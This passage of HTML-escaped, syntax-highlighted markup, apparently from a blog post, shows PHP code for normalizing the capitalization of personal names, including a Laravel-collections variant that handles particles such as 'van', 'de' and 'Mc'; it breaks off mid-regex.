&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;parts &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;array_map&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;part&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;use&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;CASED&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; Extract to name and separator part
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;separator&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;part&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; Use specified case for separator if set
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;cased &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;current&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;array_filter&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;CASED&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;use&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;separator&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;strcasecmp&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;separator&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;            }));
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;separator &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;cased&lt;&#x2F;span&gt;&lt;span&gt; ? &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;cased&lt;&#x2F;span&gt;&lt;span&gt; : &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;separator&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; Choose specified part case, or uppercase first as default
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;cased &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;current&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;array_filter&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;CASED&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;use&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;strcasecmp&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;            }));
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;cased&lt;&#x2F;span&gt;&lt;span&gt; ? &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;cased&lt;&#x2F;span&gt;&lt;span&gt; : &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;ucfirst&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;strtolower&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;)), &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;separator&lt;&#x2F;span&gt;&lt;span&gt;];
&lt;&#x2F;span&gt;&lt;span&gt;        }, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;parts&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;parts &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;array_map&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;part&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;implode&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;part&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;        }, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;parts&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;name &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;implode&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;parts&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; Trim and return normalized name
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;details&gt;
&lt;summary&gt;Tap here to expand a better version for use with Laravel.&lt;&#x2F;summary&gt;
&lt;blockquote&gt;
&lt;p&gt;This variant is more concise and uses a function approach using
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;laravel.com&#x2F;docs&#x2F;collections&quot;&gt;Laravel collections&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;php&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-php &quot;&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span&gt;&amp;lt;?php
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;**
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; * Normalize the given (partial) name of a person.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; *
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; * - re-capitalize, take last name inserts into account
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; * - remove excess white spaces
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; *
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; * Snippet from: https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;snippet-correctly-capitalize-names-in-php
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; *
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; * &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;@param&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; string $name The input name.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; * &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;@return&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; string The normalized name.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; *&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;function &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;name_case&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; A list of properly cased parts
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;CASED &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;collect&lt;&#x2F;span&gt;&lt;span&gt;([
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;O&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;l&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;d&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;St.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Mc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;the&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;van&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;het&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;in&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&amp;#39;t&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;ten&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;den&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;von&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;und&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;der&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;de&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;da&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;of&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;and&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;the&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;III&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;IV&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;VI&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;VII&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;VIII&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;IX&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    ]);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; Trim whitespace sequences to one space, append space to properly chunk
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;name &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;preg_replace&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&#x2F;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;. &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; Break name up into parts split by name separators
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;parts &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;preg_split&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;( &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;O&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;l&lt;&#x2F;span&gt;&lt;span 